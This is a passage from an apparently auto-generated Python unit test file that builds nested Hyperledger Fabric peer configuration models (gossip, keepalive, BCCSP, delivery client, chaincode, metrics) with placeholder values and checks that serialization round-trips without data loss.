config_peer_gossip_pvt_data_implicit_collection_dissemination_policy_model['requiredPeerCount'] = 0
config_peer_gossip_pvt_data_implicit_collection_dissemination_policy_model['maxPeerCount'] = 1
config_peer_gossip_pvt_data_model = {} # ConfigPeerGossipPvtData
config_peer_gossip_pvt_data_model['pullRetryThreshold'] = '60s'
config_peer_gossip_pvt_data_model['transientstoreMaxBlockRetention'] = 1000
config_peer_gossip_pvt_data_model['pushAckTimeout'] = '3s'
config_peer_gossip_pvt_data_model['btlPullMargin'] = 10
config_peer_gossip_pvt_data_model['reconcileBatchSize'] = 10
config_peer_gossip_pvt_data_model['reconcileSleepInterval'] = '1m'
config_peer_gossip_pvt_data_model['reconciliationEnabled'] = True
config_peer_gossip_pvt_data_model['skipPullingInvalidTransactionsDuringCommit'] = False
config_peer_gossip_pvt_data_model['implicitCollectionDisseminationPolicy'] = config_peer_gossip_pvt_data_implicit_collection_dissemination_policy_model
config_peer_gossip_state_model = {} # ConfigPeerGossipState
config_peer_gossip_state_model['enabled'] = True
config_peer_gossip_state_model['checkInterval'] = '10s'
config_peer_gossip_state_model['responseTimeout'] = '3s'
config_peer_gossip_state_model['batchSize'] = 10
config_peer_gossip_state_model['blockBufferSize'] = 100
config_peer_gossip_state_model['maxRetries'] = 3
config_peer_gossip_model = {} # ConfigPeerGossip
config_peer_gossip_model['useLeaderElection'] = True
config_peer_gossip_model['orgLeader'] = False
config_peer_gossip_model['membershipTrackerInterval'] = '5s'
config_peer_gossip_model['maxBlockCountToStore'] = 100
config_peer_gossip_model['maxPropagationBurstLatency'] = '10ms'
config_peer_gossip_model['maxPropagationBurstSize'] = 10
config_peer_gossip_model['propagateIterations'] = 3
config_peer_gossip_model['pullInterval'] = '4s'
config_peer_gossip_model['pullPeerNum'] = 3
config_peer_gossip_model['requestStateInfoInterval'] = '4s'
config_peer_gossip_model['publishStateInfoInterval'] = '4s'
config_peer_gossip_model['stateInfoRetentionInterval'] = '0s'
config_peer_gossip_model['publishCertPeriod'] = '10s'
config_peer_gossip_model['skipBlockVerification'] = False
config_peer_gossip_model['dialTimeout'] = '3s'
config_peer_gossip_model['connTimeout'] = '2s'
config_peer_gossip_model['recvBuffSize'] = 20
config_peer_gossip_model['sendBuffSize'] = 200
config_peer_gossip_model['digestWaitTime'] = '1s'
config_peer_gossip_model['requestWaitTime'] = '1500ms'
config_peer_gossip_model['responseWaitTime'] = '2s'
config_peer_gossip_model['aliveTimeInterval'] = '5s'
config_peer_gossip_model['aliveExpirationTimeout'] = '25s'
config_peer_gossip_model['reconnectInterval'] = '25s'
config_peer_gossip_model['election'] = config_peer_gossip_election_model
config_peer_gossip_model['pvtData'] = config_peer_gossip_pvt_data_model
config_peer_gossip_model['state'] = config_peer_gossip_state_model
config_peer_authentication_model = {} # ConfigPeerAuthentication
config_peer_authentication_model['timewindow'] = '15m'
bccsp_sw_model = {} # BccspSW
bccsp_sw_model['Hash'] = 'SHA2'
bccsp_sw_model['Security'] = 256
bccsp_pkc_s11_model = {} # BccspPKCS11
bccsp_pkc_s11_model['Label'] = 'testString'
bccsp_pkc_s11_model['Pin'] = 'testString'
bccsp_pkc_s11_model['Hash'] = 'SHA2'
bccsp_pkc_s11_model['Security'] = 256
bccsp_model = {} # Bccsp
bccsp_model['Default'] = 'SW'
bccsp_model['SW'] = bccsp_sw_model
bccsp_model['PKCS11'] = bccsp_pkc_s11_model
config_peer_client_model = {} # ConfigPeerClient
config_peer_client_model['connTimeout'] = '2s'
config_peer_deliveryclient_address_overrides_item_model = {} # ConfigPeerDeliveryclientAddressOverridesItem
config_peer_deliveryclient_address_overrides_item_model['from'] = 'n3a3ec3-myorderer.ibp.us-south.containers.appdomain.cloud:7050'
config_peer_deliveryclient_address_overrides_item_model['to'] = 'n3a3ec3-myorderer2.ibp.us-south.containers.appdomain.cloud:7050'
config_peer_deliveryclient_address_overrides_item_model['caCertsFile'] = 'my-data/cert.pem'
config_peer_deliveryclient_model = {} # ConfigPeerDeliveryclient
config_peer_deliveryclient_model['reconnectTotalTimeThreshold'] = '60m'
config_peer_deliveryclient_model['connTimeout'] = '2s'
config_peer_deliveryclient_model['reConnectBackoffThreshold'] = '60m'
config_peer_deliveryclient_model['addressOverrides'] = [config_peer_deliveryclient_address_overrides_item_model]
config_peer_admin_service_model = {} # ConfigPeerAdminService
config_peer_admin_service_model['listenAddress'] = '0.0.0.0:7051'
config_peer_discovery_model = {} # ConfigPeerDiscovery
config_peer_discovery_model['enabled'] = True
config_peer_discovery_model['authCacheEnabled'] = True
config_peer_discovery_model['authCacheMaxSize'] = 1000
config_peer_discovery_model['authCachePurgeRetentionRatio'] = 0.75
config_peer_discovery_model['orgMembersAllowedAccess'] = False
config_peer_limits_concurrency_model = {} # ConfigPeerLimitsConcurrency
config_peer_limits_concurrency_model['endorserService'] = 2500
config_peer_limits_concurrency_model['deliverService'] = 2500
config_peer_limits_model = {} # ConfigPeerLimits
config_peer_limits_model['concurrency'] = config_peer_limits_concurrency_model
config_peer_gateway_model = {} # ConfigPeerGateway
config_peer_gateway_model['enabled'] = True
config_peer_create_peer_model = {} # ConfigPeerCreatePeer
config_peer_create_peer_model['id'] = 'john-doe'
config_peer_create_peer_model['networkId'] = 'dev'
config_peer_create_peer_model['keepalive'] = config_peer_keepalive_model
config_peer_create_peer_model['gossip'] = config_peer_gossip_model
config_peer_create_peer_model['authentication'] = config_peer_authentication_model
config_peer_create_peer_model['BCCSP'] = bccsp_model
config_peer_create_peer_model['client'] = config_peer_client_model
config_peer_create_peer_model['deliveryclient'] = config_peer_deliveryclient_model
config_peer_create_peer_model['adminService'] = config_peer_admin_service_model
config_peer_create_peer_model['validatorPoolSize'] = 8
config_peer_create_peer_model['discovery'] = config_peer_discovery_model
config_peer_create_peer_model['limits'] = config_peer_limits_model
config_peer_create_peer_model['gateway'] = config_peer_gateway_model
config_peer_chaincode_golang_model = {} # ConfigPeerChaincodeGolang
config_peer_chaincode_golang_model['dynamicLink'] = False
config_peer_chaincode_external_builders_item_model = {} # ConfigPeerChaincodeExternalBuildersItem
config_peer_chaincode_external_builders_item_model['path'] = '/path/to/directory'
config_peer_chaincode_external_builders_item_model['name'] = 'descriptive-build-name'
config_peer_chaincode_external_builders_item_model['environmentWhitelist'] = ['GOPROXY']
config_peer_chaincode_system_model = {} # ConfigPeerChaincodeSystem
config_peer_chaincode_system_model['cscc'] = True
config_peer_chaincode_system_model['lscc'] = True
config_peer_chaincode_system_model['escc'] = True
config_peer_chaincode_system_model['vscc'] = True
config_peer_chaincode_system_model['qscc'] = True
config_peer_chaincode_logging_model = {} # ConfigPeerChaincodeLogging
config_peer_chaincode_logging_model['level'] = 'info'
config_peer_chaincode_logging_model['shim'] = 'warning'
config_peer_chaincode_logging_model['format'] = '%{color}%{time:2006-01-02 15:04:05.000 MST} [%{module}] %{shortfunc} -> %{level:.4s} %{id:03x}%{color:reset} %{message}'
config_peer_chaincode_model = {} # ConfigPeerChaincode
config_peer_chaincode_model['golang'] = config_peer_chaincode_golang_model
config_peer_chaincode_model['externalBuilders'] = [config_peer_chaincode_external_builders_item_model]
config_peer_chaincode_model['installTimeout'] = '300s'
config_peer_chaincode_model['startuptimeout'] = '300s'
config_peer_chaincode_model['executetimeout'] = '30s'
config_peer_chaincode_model['system'] = config_peer_chaincode_system_model
config_peer_chaincode_model['logging'] = config_peer_chaincode_logging_model
metrics_statsd_model = {} # MetricsStatsd
metrics_statsd_model['network'] = 'udp'
metrics_statsd_model['address'] = '127.0.0.1:8125'
metrics_statsd_model['writeInterval'] = '10s'
metrics_statsd_model['prefix'] = 'server'
metrics_model = {} # Metrics
metrics_model['provider'] = 'prometheus'
metrics_model['statsd'] = metrics_statsd_model
# Construct a json representation of a ConfigPeerCreate model
config_peer_create_model_json = {}
config_peer_create_model_json['peer'] = config_peer_create_peer_model
config_peer_create_model_json['chaincode'] = config_peer_chaincode_model
config_peer_create_model_json['metrics'] = metrics_model
# Construct a model instance of ConfigPeerCreate by calling from_dict on the json representation
config_peer_create_model = ConfigPeerCreate.from_dict(config_peer_create_model_json)
assert config_peer_create_model != False
# Construct a model instance of ConfigPeerCreate by calling from_dict on the json representation
config_peer_create_model_dict = ConfigPeerCreate.from_dict(config_peer_create_model_json).__dict__
config_peer_create_model2 = ConfigPeerCreate(**config_peer_create_model_dict)
# Verify the model instances are equivalent
assert config_peer_create_model == config_peer_create_model2
# Convert model instance back to dict and verify no loss of data
config_peer_create_model_json2 = config_peer_create_model.to_dict()
assert config_peer_create_model_json2 == config_peer_create_model_json
class TestConfigPeerCreatePeer():
"""
Test Class for ConfigPeerCreatePeer
"""
def test_config_peer_create_peer_serialization(self):
"""
Test serialization/deserialization for ConfigPeerCreatePeer
"""
# Construct dict forms of any model objects needed in order to build this model.
config_peer_keepalive_client_model = {} # ConfigPeerKeepaliveClient
config_peer_keepalive_client_model['interval'] = '60s'
config_peer_keepalive_client_model['timeout'] = '20s'
config_peer_keepalive_delivery_client_model = {} # ConfigPeerKeepaliveDeliveryClient
config_peer_keepalive_delivery_client_model['interval'] = '60s'
config_peer_keepalive_delivery_client_model['timeout'] = '20s'
config_peer_keepalive_model = {} # ConfigPeerKeepalive
config_peer_keepalive_model['minInterval'] = '60s'
config_peer_keepalive_model['client'] = config_peer_keepalive_client_model
config_peer_keepalive_model['deliveryClient'] = config_peer_keepalive_delivery_client_model
config_peer_gossip_election_model = {} # ConfigPeerGossipElection
config_peer_gossip_election_model['startupGracePeriod'] = '15s'
config_peer_gossip_election_model['membershipSampleInterval'] = '1s'
config_peer_gossip_election_model['leaderAliveThreshold'] = '10s'
config_peer_gossip_election_model['leaderElectionDuration'] = '5s'
config_peer_gossip_pvt_data_implicit_collection_dissemination_policy_model = {} # ConfigPeerGossipPvtDataImplicitCollectionDisseminationPolicy
config_peer_gossip_pvt_data_implicit_collection_dissemination_policy_model['requiredPeerCount'] = 0
config_peer_gossip_pvt_data_implicit_collection_dissemination_policy_model['maxPeerCount'] = 1
config_peer_gossip_pvt_data_model = {} # ConfigPeerGossipPvtData
config_peer_gossip_pvt_data_model['pullRetryThreshold'] = '60s'
config_peer_gossip_pvt_data_model['transientstoreMaxBlockRetention'] = 1000
config_peer_gossip_pvt_data_model['pushAckTimeout'] = '3s'
config_peer_gossip_pvt_data_model['btlPullMargin'] = 10
config_peer_gossip_pvt_data_model['reconcileBatchSize'] = 10
config_peer_gossip_pvt_data_model['reconcileSleepInterval'] = '1m'
config_peer_gossip_pvt_data_model['reconciliationEnabled'] = True
config_peer_gossip_pvt_data_model['skipPullingInvalidTransactionsDuringCommit'] = False
config_peer_gossip_pvt_data_model['implicitCollectionDisseminationPolicy'] = config_peer_gossip_pvt_data_implicit_collection_dissemination_policy_model
config_peer_gossip_state_model = {} # ConfigPeerGossipState
config_peer_gossip_state_model['enabled'] = True
config_peer_gossip_state_model['checkInterval'] = '10s'
config_peer_gossip_state_model['responseTimeout'] = '3s'
config_peer_gossip_state_model['batchSize'] = 10
config_peer_gossip_state_model['blockBufferSize'] = 100
config_peer_gossip_state_model['maxRetries'] = 3
config_peer_gossip_model = {} # ConfigPeerGossip
config_peer_gossip_model['useLeaderElection'] = True
config_peer_gossip_model['orgLeader'] = False
config_peer_gossip_model['membershipTrackerInterval'] = '5s'
config_peer_gossip_model['maxBlockCountToStore'] = 100
config_peer_gossip_model['maxPropagationBurstLatency'] = '10ms'
config_peer_gossip_model['maxPropagationBurstSize'] = 10
config_peer_gossip_model['propagateIterations'] = 3
config_peer_gossip_model['pullInterval'] = '4s'
config_peer_gossip_model['pullPeerNum'] = 3
config_peer_gossip_model['requestStateInfoInterval'] = '4s'
config_peer_gossip_model['publishStateInfoInterval'] = '4s'
config_peer_gossip_model['stateInfoRetentionInterval'] = '0s'
config_peer_gossip_model['publishCertPeriod'] = '10s'
config_peer_gossip_model['skipBlockVerification'] = False
config_peer_gossip_model['dialTimeout'] = '3s'
config_peer_gossip_model['connTimeout'] = '2s'
config_peer_gossip_model['recvBuffSize'] = 20
config_peer_gossip_model['sendBuffSize'] = 200
config_peer_gossip_model['digestWaitTime'] = '1s'
config_peer_gossip_model['requestWaitTime'] = '1500ms'
config_peer_gossip_model['responseWaitTime'] = '2s'
config_peer_gossip_model['aliveTimeInterval'] = '5s'
config_peer_gossip_model['aliveExpirationTimeout'] = '25s'
config_peer_gossip_model['reconnectInterval'] = '25s'
config_peer_gossip_model['election'] = config_peer_gossip_election_model
config_peer_gossip_model['pvtData'] = config_peer_gossip_pvt_data_model
config_peer_gossip_model['state'] = config_peer_gossip_state_model
config_peer_authentication_model = {} # ConfigPeerAuthentication
config_peer_authentication_model['timewindow'] = '15m'
bccsp_sw_model = {} # BccspSW
bccsp_sw_model['Hash'] = 'SHA2'
bccsp_sw_model['Security'] = 256
bccsp_pkc_s11_model = {} # BccspPKCS11
bccsp_pkc_s11_model['Label'] = 'testString'
bccsp_pkc_s11_model['Pin'] = 'testString'
bccsp_pkc_s11_model['Hash'] = 'SHA2'
bccsp_pkc_s11_model['Security'] = 256
bccsp_model = {} # Bccsp
bccsp_model['Default'] = 'SW'
bccsp_model['SW'] = bccsp_sw_model
bccsp_model['PKCS11'] = bccsp_pkc_s11_model
config_peer_client_model = {} # ConfigPeerClient
config_peer_client_model['connTimeout'] = '2s'
config_peer_deliveryclient_address_overrides_item_model = {} # ConfigPeerDeliveryclientAddressOverridesItem
config_peer_deliveryclient_address_overrides_item_model['from'] = 'n3a3ec3-myorderer.ibp.us-south.containers.appdomain.cloud:7050'
config_peer_deliveryclient_address_overrides_item_model['to'] = 'n3a3ec3-myorderer2.ibp.us-south.containers.appdomain.cloud:7050'
config_peer_deliveryclient_address_overrides_item_model['caCertsFile'] = 'my-data/cert.pem'
config_peer_deliveryclient_model = {} # ConfigPeerDeliveryclient
config_peer_deliveryclient_model['reconnectTotalTimeThreshold'] = '60m'
config_peer_deliveryclient_model['connTimeout'] = '2s'
config_peer_deliveryclient_model['reConnectBackoffThreshold'] = '60m'
config_peer_deliveryclient_model['addressOverrides'] = [config_peer_deliveryclient_address_overrides_item_model]
config_peer_admin_service_model = {} # ConfigPeerAdminService
config_peer_admin_service_model['listenAddress'] = '0.0.0.0:7051'
config_peer_discovery_model = {} # ConfigPeerDiscovery
config_peer_discovery_model['enabled'] = True
config_peer_discovery_model['authCacheEnabled'] = True
config_peer_discovery_model['authCacheMaxSize'] = 1000
config_peer_discovery_model['authCachePurgeRetentionRatio'] = 0.75
config_peer_discovery_model['orgMembersAllowedAccess'] = False
config_peer_limits_concurrency_model = {} # ConfigPeerLimitsConcurrency
config_peer_limits_concurrency_model['endorserService'] = 2500
config_peer_limits_concurrency_model['deliverService'] = 2500
config_peer_limits_model = {} # ConfigPeerLimits
config_peer_limits_model['concurrency'] = config_peer_limits_concurrency_model
config_peer_gateway_model = {} # ConfigPeerGateway
config_peer_gateway_model['enabled'] = True
# Construct a json representation of a ConfigPeerCreatePeer model
config_peer_create_peer_model_json = {}
config_peer_create_peer_model_json['id'] = 'john-doe'
config_peer_create_peer_model_json['networkId'] = 'dev'
config_peer_create_peer_model_json['keepalive'] = config_peer_keepalive_model
config_peer_create_peer_model_json['gossip'] = config_peer_gossip_model
config_peer_create_peer_model_json['authentication'] = config_peer_authentication_model
config_peer_create_peer_model_json['BCCSP'] = bccsp_model
config_peer_create_peer_model_json['client'] = config_peer_client_model
config_peer_create_peer_model_json['deliveryclient'] = config_peer_deliveryclient_model
config_peer_create_peer_model_json['adminService'] = config_peer_admin_service_model
config_peer_create_peer_model_json['validatorPoolSize'] = 8
config_peer_create_peer_model_json['discovery'] = config_peer_discovery_model
config_peer_create_peer_model_json['limits'] = config_peer_limits_model
config_peer_create_peer_model_json['gateway'] = config_peer_gateway_model
# Construct a model instance of ConfigPeerCreatePeer by calling from_dict on the json representation
config_peer_create_peer_model = ConfigPeerCreatePeer.from_dict(config_peer_create_peer_model_json)
assert config_peer_create_peer_model != False
# Construct a model instance of ConfigPeerCreatePeer by calling from_dict on the json representation
config_peer_create_peer_model_dict = ConfigPeerCreatePeer.from_dict(config_peer_create_peer_model_json).__dict__
config_peer_create_peer_model2 = ConfigPeerCreatePeer(**config_peer_create_peer_model_dict)
# Verify the model instances are equivalent
assert config_peer_create_peer_model == config_peer_create_peer_model2
# Convert model instance back to dict and verify no loss of data
config_peer_create_peer_model_json2 = config_peer_create_peer_model.to_dict()
assert config_peer_create_peer_model_json2 == config_peer_create_peer_model_json
class TestConfigPeerDeliveryclientAddressOverridesItem():
"""
Test Class for ConfigPeerDeliveryclientAddressOverridesItem
"""
def test_config_peer_deliveryclient_address_overrides_item_serialization(self):
"""
Test serialization/deserialization for ConfigPeerDeliveryclientAddressOverridesItem
"""
# Construct a json representation of a ConfigPeerDeliveryclientAddressOverridesItem model
config_peer_deliveryclient_address_overrides_item_model_json = {}
config_peer_deliveryclient_address_overrides_item_model_json['from'] = 'n3a3ec3-myorderer.ibp.us-south.containers.appdomain.cloud:7050'
config_peer_deliveryclient_address_overrides_item_model_json['to'] = 'n3a3ec3-myorderer2.ibp.us-south.containers.appdomain.cloud:7050'
config_peer_deliveryclient_address_overrides_item_model_json['caCertsFile'] = 'my-data/cert.pem'
# Construct a model instance of ConfigPeerDeliveryclientAddressOverridesItem by calling from_dict on the json representation
config_peer_deliveryclient_address_overrides_item_model = ConfigPeerDeliveryclientAddressOverridesItem.from_dict(config_peer_deliveryclient_address_overrides_item_model_json)
assert config_peer_deliveryclient_address_overrides_item_model != False
# Construct a model instance of ConfigPeerDeliveryclientAddressOverridesItem by calling from_dict on the json representation
config_peer_deliveryclient_address_overrides_item_model_dict = ConfigPeerDeliveryclientAddressOverridesItem.from_dict(config_peer_deliveryclient_address_overrides_item_model_json).__dict__
config_peer_deliveryclient_address_overrides_item_model2 = ConfigPeerDeliveryclientAddressOverridesItem(**config_peer_deliveryclient_address_overrides_item_model_dict)
# Verify the model instances are equivalent
assert config_peer_deliveryclient_address_overrides_item_model == config_peer_deliveryclient_address_overrides_item_model2
# Convert model instance back to dict and verify no loss of data
config_peer_deliveryclient_address_overrides_item_model_json2 = config_peer_deliveryclient_address_overrides_item_model.to_dict()
assert config_peer_deliveryclient_address_overrides_item_model_json2 == config_peer_deliveryclient_address_overrides_item_model_json
class TestConfigPeerGossipElection():
"""
Test Class for ConfigPeerGossipElection
"""
def test_config_peer_gossip_election_serialization(self):
"""
Test serialization/deserialization for ConfigPeerGossipElection
"""
# Construct a json representation of a ConfigPeerGossipElection model
config_peer_gossip_election_model_json = {}
config_peer_gossip_election_model_json['startupGracePeriod'] = '15s'
config_peer_gossip_election_model_json['membershipSampleInterval'] = '1s'
config_peer_gossip_election_model_json['leaderAliveThreshold'] = '10s'
config_peer_gossip_election_model_json['leaderElectionDuration'] = '5s'
# Construct a model instance of ConfigPeerGossipElection by calling from_dict on the json representation
config_peer_gossip_election_model = ConfigPeerGossipElection.from_dict(config_peer_gossip_election_model_json)
assert config_peer_gossip_election_model != False
# Construct a model instance of ConfigPeerGossipElection by calling from_dict on the json representation
config_peer_gossip_election_model_dict = ConfigPeerGossipElection.from_dict(config_peer_gossip_election_model_json).__dict__
config_peer_gossip_election_model2 = ConfigPeerGossipElection(**config_peer_gossip_election_model_dict)
# Verify the model instances are equivalent
assert config_peer_gossip_election_model == config_peer_gossip_election_model2
# Convert model instance back to dict and verify no loss of data
config_peer_gossip_election_model_json2 = config_peer_gossip_election_model.to_dict()
assert config_peer_gossip_election_model_json2 == config_peer_gossip_election_model_json
class TestConfigPeerGossipPvtData():
"""
Test Class for ConfigPeerGossipPvtData
"""
def test_config_peer_gossip_pvt_data_serialization(self):
"""
Test serialization/deserialization for ConfigPeerGossipPvtData
"""
# Construct dict forms of any model objects needed in order to build this model.
config_peer_gossip_pvt_data_implicit_collection_dissemination_policy_model = {} # ConfigPeerGossipPvtDataImplicitCollectionDisseminationPolicy
config_peer_gossip_pvt_data_implicit_collection_dissemination_policy_model['requiredPeerCount'] = 0
config_peer_gossip_pvt_data_implicit_collection_dissemination_policy_model['maxPeerCount'] = 1
# Construct a json representation of a ConfigPeerGossipPvtData model
config_peer_gossip_pvt_data_model_json = {}
config_peer_gossip_pvt_data_model_json['pullRetryThreshold'] = '60s'
config_peer_gossip_pvt_data_model_json['transientstoreMaxBlockRetention'] = 1000
config_peer_gossip_pvt_data_model_json['pushAckTimeout'] = '3s'
config_peer_gossip_pvt_data_model_json['btlPullMargin'] = 10
config_peer_gossip_pvt_data_model_json['reconcileBatchSize'] = 10
config_peer_gossip_pvt_data_model_json['reconcileSleepInterval'] = '1m'
config_peer_gossip_pvt_data_model_json['reconciliationEnabled'] = True
config_peer_gossip_pvt_data_model_json['skipPullingInvalidTransactionsDuringCommit'] = False
config_peer_gossip_pvt_data_model_json['implicitCollectionDisseminationPolicy'] = config_peer_gossip_pvt_data_implicit_collection_dissemination_policy_model
# Construct a model instance of ConfigPeerGossipPvtData by calling from_dict on the json representation
config_peer_gossip_pvt_data_model = ConfigPeerGossipPvtData.from_dict(config_peer_gossip_pvt_data_model_json)
assert config_peer_gossip_pvt_data_model != False
# Construct a model instance of ConfigPeerGossipPvtData by calling from_dict on the json representation
config_peer_gossip_pvt_data_model_dict = ConfigPeerGossipPvtData.from_dict(config_peer_gossip_pvt_data_model_json).__dict__
config_peer_gossip_pvt_data_model2 = ConfigPeerGossipPvtData(**config_peer_gossip_pvt_data_model_dict)
# Verify the model instances are equivalent
assert config_peer_gossip_pvt_data_model == config_peer_gossip_pvt_data_model2
# Convert model instance back to dict and verify no loss of data
config_peer_gossip_pvt_data_model_json2 = config_peer_gossip_pvt_data_model.to_dict()
assert config_peer_gossip_pvt_data_model_json2 == config_peer_gossip_pvt_data_model_json
class TestConfigPeerGossipPvtDataImplicitCollectionDisseminationPolicy():
"""
Test Class for ConfigPeerGossipPvtDataImplicitCollectionDisseminationPolicy
"""
def test_config_peer_gossip_pvt_data_implicit_collection_dissemination_policy_serialization(self):
"""
Test serialization/deserialization for ConfigPeerGossipPvtDataImplicitCollectionDisseminationPolicy
"""
# Construct a json representation of a ConfigPeerGossipPvtDataImplicitCollectionDisseminationPolicy model
config_peer_gossip_pvt_data_implicit_collection_dissemination_policy_model_json = {}
config_peer_gossip_pvt_data_implicit_collection_dissemination_policy_model_json['requiredPeerCount'] = 0
config_peer_gossip_pvt_data_implicit_collection_dissemination_policy_model_json['maxPeerCount'] = 1
# Construct a model instance of ConfigPeerGossipPvtDataImplicitCollectionDisseminationPolicy by calling from_dict on the json representation
config_peer_gossip_pvt_data_implicit_collection_dissemination_policy_model = ConfigPeerGossipPvtDataImplicitCollectionDisseminationPolicy.from_dict(config_peer_gossip_pvt_data_implicit_collection_dissemination_policy_model_json)
assert config_peer_gossip_pvt_data_implicit_collection_dissemination_policy_model != False
# Construct a model instance of ConfigPeerGossipPvtDataImplicitCollectionDisseminationPolicy by calling from_dict on the json representation
config_peer_gossip_pvt_data_implicit_collection_dissemination_policy_model_dict = ConfigPeerGossipPvtDataImplicitCollectionDisseminationPolicy.from_dict(config_peer_gossip_pvt_data_implicit_collection_dissemination_policy_model_json).__dict__
config_peer_gossip_pvt_data_implicit_collection_dissemination_policy_model2 = ConfigPeerGossipPvtDataImplicitCollectionDisseminationPolicy(**config_peer_gossip_pvt_data_implicit_collection_dissemination_policy_model_dict)
# Verify the model instances are equivalent
assert config_peer_gossip_pvt_data_implicit_collection_dissemination_policy_model == config_peer_gossip_pvt_data_implicit_collection_dissemination_policy_model2
# Convert model instance back to dict and verify no loss of data
config_peer_gossip_pvt_data_implicit_collection_dissemination_policy_model_json2 = config_peer_gossip_pvt_data_implicit_collection_dissemination_policy_model.to_dict()
assert config_peer_gossip_pvt_data_implicit_collection_dissemination_policy_model_json2 == config_peer_gossip_pvt_data_implicit_collection_dissemination_policy_model_json
class TestConfigPeerGossipState():
"""
Test Class for ConfigPeerGossipState
"""
def test_config_peer_gossip_state_serialization(self):
"""
Test serialization/deserialization for ConfigPeerGossipState
"""
# Construct a json representation of a ConfigPeerGossipState model
config_peer_gossip_state_model_json = {}
config_peer_gossip_state_model_json['enabled'] = True
config_peer_gossip_state_model_json['checkInterval'] = '10s'
config_peer_gossip_state_model_json['responseTimeout'] = '3s'
config_peer_gossip_state_model_json['batchSize'] = 10
config_peer_gossip_state_model_json['blockBufferSize'] = 100
config_peer_gossip_state_model_json['maxRetries'] = 3
# Construct a model instance of ConfigPeerGossipState by calling from_dict on the json representation
config_peer_gossip_state_model = ConfigPeerGossipState.from_dict(config_peer_gossip_state_model_json)
assert config_peer_gossip_state_model != False
# Construct a model instance of ConfigPeerGossipState by calling from_dict on the json representation
config_peer_gossip_state_model_dict = ConfigPeerGossipState.from_dict(config_peer_gossip_state_model_json).__dict__
config_peer_gossip_state_model2 = ConfigPeerGossipState(**config_peer_gossip_state_model_dict)
# Verify the model instances are equivalent
assert config_peer_gossip_state_model == config_peer_gossip_state_model2
# Convert model instance back to dict and verify no loss of data
config_peer_gossip_state_model_json2 = config_peer_gossip_state_model.to_dict()
assert config_peer_gossip_state_model_json2 == config_peer_gossip_state_model_json
class TestConfigPeerKeepaliveClient():
"""
Test Class for ConfigPeerKeepaliveClient
"""
def test_config_peer_keepalive_client_serialization(self):
"""
Test serialization/deserialization for ConfigPeerKeepaliveClient
"""
# Construct a json representation of a ConfigPeerKeepaliveClient model
config_peer_keepalive_client_model_json = {}
config_peer_keepalive_client_model_json['interval'] = '60s'
config_peer_keepalive_client_model_json['timeout'] = '20s'
# Construct a model instance of ConfigPeerKeepaliveClient by calling from_dict on the json representation
config_peer_keepalive_client_model = ConfigPeerKeepaliveClient.from_dict(config_peer_keepalive_client_model_json)
assert config_peer_keepalive_client_model != False
# Construct a model instance of ConfigPeerKeepaliveClient by calling from_dict on the json representation
config_peer_keepalive_client_model_dict = ConfigPeerKeepaliveClient.from_dict(config_peer_keepalive_client_model_json).__dict__
config_peer_keepalive_client_model2 = ConfigPeerKeepaliveClient(**config_peer_keepalive_client_model_dict)
# Verify the model instances are equivalent
assert config_peer_keepalive_client_model == config_peer_keepalive_client_model2
# Convert model instance back to dict and verify no loss of data
config_peer_keepalive_client_model_json2 = config_peer_keepalive_client_model.to_dict()
assert config_peer_keepalive_client_model_json2 == config_peer_keepalive_client_model_json
class TestConfigPeerKeepaliveDeliveryClient():
"""
Test Class for ConfigPeerKeepaliveDeliveryClient
"""
def test_config_peer_keepalive_delivery_client_serialization(self):
"""
Test serialization/deserialization for ConfigPeerKeepaliveDeliveryClient
"""
# Construct a json representation of a ConfigPeerKeepaliveDeliveryClient model
config_peer_keepalive_delivery_client_model_json = {}
config_peer_keepalive_delivery_client_model_json['interval'] = '60s'
config_peer_keepalive_delivery_client_model_json['timeout'] = '20s'
# Construct a model instance of ConfigPeerKeepaliveDeliveryClient by calling from_dict on the json representation
config_peer_keepalive_delivery_client_model = ConfigPeerKeepaliveDeliveryClient.from_dict(config_peer_keepalive_delivery_client_model_json)
assert config_peer_keepalive_delivery_client_model != False
# Construct a model instance of ConfigPeerKeepaliveDeliveryClient by calling from_dict on the json representation
config_peer_keepalive_delivery_client_model_dict = ConfigPeerKeepaliveDeliveryClient.from_dict(config_peer_keepalive_delivery_client_model_json).__dict__
config_peer_keepalive_delivery_client_model2 = ConfigPeerKeepaliveDeliveryClient(**config_peer_keepalive_delivery_client_model_dict)
# Verify the model instances are equivalent
assert config_peer_keepalive_delivery_client_model == config_peer_keepalive_delivery_client_model2
# Convert model instance back to dict and verify no loss of data
config_peer_keepalive_delivery_client_model_json2 = config_peer_keepalive_delivery_client_model.to_dict()
assert config_peer_keepalive_delivery_client_model_json2 == config_peer_keepalive_delivery_client_model_json
class TestConfigPeerLimitsConcurrency():
"""
Test Class for ConfigPeerLimitsConcurrency
"""
def test_config_peer_limits_concurrency_serialization(self):
"""
Test serialization/deserialization for ConfigPeerLimitsConcurrency
"""
# Construct a json representation of a ConfigPeerLimitsConcurrency model
config_peer_limits_concurrency_model_json = {}
config_peer_limits_concurrency_model_json['endorserService'] = 2500
config_peer_limits_concurrency_model_json['deliverService'] = 2500
# Construct a model instance of ConfigPeerLimitsConcurrency by calling from_dict on the json representation
config_peer_limits_concurrency_model = ConfigPeerLimitsConcurrency.from_dict(config_peer_limits_concurrency_model_json)
assert config_peer_limits_concurrency_model != False
# Construct a model instance of ConfigPeerLimitsConcurrency by calling from_dict on the json representation
config_peer_limits_concurrency_model_dict = ConfigPeerLimitsConcurrency.from_dict(config_peer_limits_concurrency_model_json).__dict__
config_peer_limits_concurrency_model2 = ConfigPeerLimitsConcurrency(**config_peer_limits_concurrency_model_dict)
# Verify the model instances are equivalent
assert config_peer_limits_concurrency_model == config_peer_limits_concurrency_model2
# Convert model instance back to dict and verify no loss of data
config_peer_limits_concurrency_model_json2 = config_peer_limits_concurrency_model.to_dict()
assert config_peer_limits_concurrency_model_json2 == config_peer_limits_concurrency_model_json
class TestConfigPeerUpdate():
"""
Test Class for ConfigPeerUpdate
"""
def test_config_peer_update_serialization(self):
"""
Test serialization/deserialization for ConfigPeerUpdate
"""
# Construct dict forms of any model objects needed in order to build this model.
config_peer_keepalive_client_model = {} # ConfigPeerKeepaliveClient
config_peer_keepalive_client_model['interval'] = '60s'
config_peer_keepalive_client_model['timeout'] = '20s'
config_peer_keepalive_delivery_client_model = {} # ConfigPeerKeepaliveDeliveryClient
config_peer_keepalive_delivery_client_model['interval'] = '60s'
config_peer_keepalive_delivery_client_model['timeout'] = '20s'
config_peer_keepalive_model = {} # ConfigPeerKeepalive
config_peer_keepalive_model['minInterval'] = '60s'
config_peer_keepalive_model['client'] = config_peer_keepalive_client_model
config_peer_keepalive_model['deliveryClient'] = config_peer_keepalive_delivery_client_model
